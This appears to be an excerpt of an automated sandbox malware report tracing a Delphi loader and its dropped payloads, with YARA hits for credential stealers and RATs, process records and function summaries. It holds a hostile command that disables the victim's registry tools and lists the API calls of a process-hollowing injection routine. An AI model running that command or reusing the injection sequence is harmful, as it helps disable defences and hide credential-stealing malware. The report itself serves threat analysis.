Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.3109531523.000000001D5BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000006.00000001.1853843841.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:29:22
Start date:	16/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Imagebase:	0x550000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:29:22
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:29:28
Start date:	16/01/2025
Path:	C:\Users\Public\Libraries\Uhzauuil.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Uhzauuil.PIF"
Imagebase:	0x400000
File size:	854'016 bytes
MD5 hash:	4692AEE744A1B1FAB794FF334A77A462
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:29:29
Start date:	16/01/2025
Path:	C:\Users\Public\Libraries\liuuazhU.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\liuuazhU.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000B.00000002.3089643523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:29:35
Start date:	16/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Imagebase:	0x550000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:29:35
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:29:37
Start date:	16/01/2025
Path:	C:\Users\Public\Libraries\Uhzauuil.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Uhzauuil.PIF"
Imagebase:	0x400000
File size:	854'016 bytes
MD5 hash:	4692AEE744A1B1FAB794FF334A77A462
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:29:37
Start date:	16/01/2025
Path:	C:\Users\Public\Libraries\liuuazhU.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\liuuazhU.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000011.00000001.2046847022.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000011.00000002.3089641728.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3110411476.000000001C8BD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	02:29:42
Start date:	16/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Imagebase:	0x550000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:29:42
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	29.3%
Total number of Nodes:	1694
Total number of Limit Nodes:	17

Executed Functions

Function 027E8C28 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027E889C: LoadLibraryA.KERNEL32(00000000,00000000,027E8983), ref: 027E88D0
Part of subcall function 027E889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027E8983), ref: 027E88E0
Part of subcall function 027E889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 027E88F9
Part of subcall function 027E889C: FreeLibrary.KERNEL32(74AE0000,00000000,0282B388,Function_0000662C,00000004,0282B398,0282B388,000186A3,00000040,0282B39C,74AE0000,00000000,00000000,00000000,00000000,027E8983), ref: 027E8963

Part of subcall function 027E8654: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 027E86E0

GetThreadContext.KERNEL32(000005FC,0282B420,ScanString,0282B3A4,027EA7F4,UacInitialize,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,UacInitialize,0282B3A4), ref: 027E94BA

Part of subcall function 027E82CC: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E833D

Part of subcall function 027E853C: NtUnmapViewOfSection.NTDLL(?,?), ref: 027E85A1

Part of subcall function 027E7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027E7A9F

Part of subcall function 027E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E7DEC

SetThreadContext.KERNEL32(000005FC,0282B420,ScanBuffer,0282B3A4,027EA7F4,ScanString,0282B3A4,027EA7F4,Initialize,0282B3A4,027EA7F4,000008AC,00203FF8,0282B4F8,00000004,0282B4FC), ref: 027EA1CF
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(000005FC,00000000,000005FC,0282B420,ScanBuffer,0282B3A4,027EA7F4,ScanString,0282B3A4,027EA7F4,Initialize,0282B3A4,027EA7F4,000008AC,00203FF8,0282B4F8), ref: 027EA1DC

Part of subcall function 027E8818: LoadLibraryW.KERNEL32(bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize,0282B3A4,027EA7F4,UacScan), ref: 027E882C
Part of subcall function 027E8818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027E8846
Part of subcall function 027E8818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize), ref: 027E8882

Strings

NtReadVirtualMemory, xrefs: 027EA4D8
I_QueryTagInformation, xrefs: 027EA5B8
NtOpenProcess, xrefs: 027EA75B
MiniDumpWriteDump, xrefs: 027EA5CC
UacScan, xrefs: 027E8D2B, 027E8F43, 027E953F, 027E993B, 027E9AAF, 027EA259, 027EA6F1
MiniDumpReadDumpStream, xrefs: 027EA5E0
SLGetLicenseInformation, xrefs: 027E9217
ScanString, xrefs: 027E8CBA, 027E8E65, 027E9013, 027E943B, 027E9621, 027E97A8, 027E9C35, 027E9DF3, 027E9F63, 027EA0D6, 027EA3C1, 027EA46E
bcrypt, xrefs: 027EA430, 027EA444, 027EA458
ntdll, xrefs: 027EA4DD, 027EA4F1, 027EA5A9, 027EA74C, 027EA760
Initialize, xrefs: 027E8FA2, 027E95B0, 027E9737, 027E9B20, 027E9D82, 027E9EF2, 027EA065, 027EA2CA, 027EA5FB
sppc, xrefs: 027E922E
NtOpenObjectAuditAlarm, xrefs: 027EA4EC, 027EA5A4
NtSetSecurityObject, xrefs: 027EA747
BCryptRegisterProvider, xrefs: 027EA453
UacInitialize, xrefs: 027E8EEA, 027E924B, 027E93CA, 027E94CE, 027E98CA, 027E9A3E, 027EA1E8
advapi32, xrefs: 027EA5BD
dbgcore, xrefs: 027EA5D1, 027EA5E5
ScanBuffer, xrefs: 027E8D84, 027E8E0C, 027E91A7, 027E92BC, 027E9359, 027E9692, 027E9819, 027E99AC, 027E9B91, 027E9CA6, 027E9E64, 027E9FD4, 027EA147, 027EA33B, 027EA559, 027EA69F
BCryptVerifySignature, xrefs: 027EA42B
OpenSession, xrefs: 027E8C61, 027E9084, 027E9136, 027EA507, 027EA64D
BCryptQueryProviderRegistration, xrefs: 027EA43F

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Library$MemoryThreadVirtual$AddressContextFreeLoadProc$AllocateCreateHandleModuleProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4083799063-51457883
Opcode ID: 3d4b60e071a62e065c0e39399744be5a44f9edddfdb193ccf66416e22ef8ab30
Instruction ID: 66f1110e47c72c8bd53e8730a751647debf5190d21488ec845ae315226cac4ff
Opcode Fuzzy Hash: 3d4b60e071a62e065c0e39399744be5a44f9edddfdb193ccf66416e22ef8ab30
Instruction Fuzzy Hash: 76E21579A4015A9FDF12EB54DDA6BCE73B6EF89300F1041B1900AAB214DF34AE95CF61

Function 027E8C26 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027E889C: LoadLibraryA.KERNEL32(00000000,00000000,027E8983), ref: 027E88D0
Part of subcall function 027E889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027E8983), ref: 027E88E0
Part of subcall function 027E889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 027E88F9
Part of subcall function 027E889C: FreeLibrary.KERNEL32(74AE0000,00000000,0282B388,Function_0000662C,00000004,0282B398,0282B388,000186A3,00000040,0282B39C,74AE0000,00000000,00000000,00000000,00000000,027E8983), ref: 027E8963

Part of subcall function 027E8654: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 027E86E0

GetThreadContext.KERNEL32(000005FC,0282B420,ScanString,0282B3A4,027EA7F4,UacInitialize,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,UacInitialize,0282B3A4), ref: 027E94BA

Part of subcall function 027E82CC: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E833D

Part of subcall function 027E853C: NtUnmapViewOfSection.NTDLL(?,?), ref: 027E85A1

Part of subcall function 027E7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027E7A9F

Strings

NtReadVirtualMemory, xrefs: 027EA4D8
I_QueryTagInformation, xrefs: 027EA5B8
NtOpenProcess, xrefs: 027EA75B
MiniDumpWriteDump, xrefs: 027EA5CC
UacScan, xrefs: 027E8D2B, 027E8F43, 027E953F, 027E993B, 027E9AAF, 027EA259, 027EA6F1
MiniDumpReadDumpStream, xrefs: 027EA5E0
SLGetLicenseInformation, xrefs: 027E9217
ScanString, xrefs: 027E8CBA, 027E8E65, 027E9013, 027E943B, 027E9621, 027E97A8, 027E9C35, 027E9DF3, 027E9F63, 027EA0D6, 027EA3C1, 027EA46E
bcrypt, xrefs: 027EA430, 027EA444, 027EA458
ntdll, xrefs: 027EA4DD, 027EA4F1, 027EA5A9, 027EA74C, 027EA760
Initialize, xrefs: 027E8FA2, 027E95B0, 027E9737, 027E9B20, 027E9D82, 027E9EF2, 027EA065, 027EA2CA, 027EA5FB
sppc, xrefs: 027E922E
NtOpenObjectAuditAlarm, xrefs: 027EA4EC, 027EA5A4
NtSetSecurityObject, xrefs: 027EA747
BCryptRegisterProvider, xrefs: 027EA453
UacInitialize, xrefs: 027E8EEA, 027E924B, 027E93CA, 027E94CE, 027EA1E8
advapi32, xrefs: 027EA5BD
dbgcore, xrefs: 027EA5D1, 027EA5E5
ScanBuffer, xrefs: 027E8D84, 027E8E0C, 027E91A7, 027E92BC, 027E9359, 027E9692, 027E9819, 027E99AC, 027E9B91, 027E9CA6, 027E9E64, 027E9FD4, 027EA147, 027EA33B, 027EA559, 027EA69F
BCryptVerifySignature, xrefs: 027EA42B
OpenSession, xrefs: 027E8C61, 027E9084, 027E9136, 027EA507, 027EA64D
BCryptQueryProviderRegistration, xrefs: 027EA43F

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: LibraryMemoryVirtual$AddressAllocateContextCreateFreeHandleLoadModuleProcProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2852987580-51457883
Opcode ID: 28a0bedc08dccbced71c839fff1e0508311ac76d2050338cd47246e38124c94f
Instruction ID: 1312af9b2698ad8161b6048d725db8b9b4ac71924c21cdcbd83a423c78213167
Opcode Fuzzy Hash: 28a0bedc08dccbced71c839fff1e0508311ac76d2050338cd47246e38124c94f
Instruction Fuzzy Hash: 5FE22679A4015A9FDF12EB54DDA6BCE73B6EF89300F1041B19006AB214DF34AE95CF61

Function 027D5ACC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,027D0000,027FE790), ref: 027D5AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027D0000,027FE790), ref: 027D5B06
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027D0000,027FE790), ref: 027D5B24
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 027D5B42
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,027D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 027D5B8B
RegQueryValueExA.ADVAPI32(?,027D5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,027D5BD1,?,80000001), ref: 027D5BA9
RegCloseKey.ADVAPI32(?,027D5BD8,00000000,?,?,00000000,027D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 027D5BCB
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 027D5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 027D5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 027D5BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 027D5C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027D5C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027D5C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027D5CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027D5CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 027D5CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 027D5CEB

Strings

Software\Borland\Delphi\Locales, xrefs: 027D5B38
Software\Borland\Locales, xrefs: 027D5AFC, 027D5B1A

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: c15b65bbb57e2048f6aac8f9631125bf8ec6fbfcbed6e6023d86286100594794
Instruction ID: c3e34a489db54c63baf7ecf738aacb9ebbe7e4affb00c43f8dd7247ee2ff1574
Opcode Fuzzy Hash: c15b65bbb57e2048f6aac8f9631125bf8ec6fbfcbed6e6023d86286100594794
Instruction Fuzzy Hash: CF519871B4025D7FFB21D6E4CC4AFEF7BBD9B04744F8405A5AA08E6181EB74AA448F60

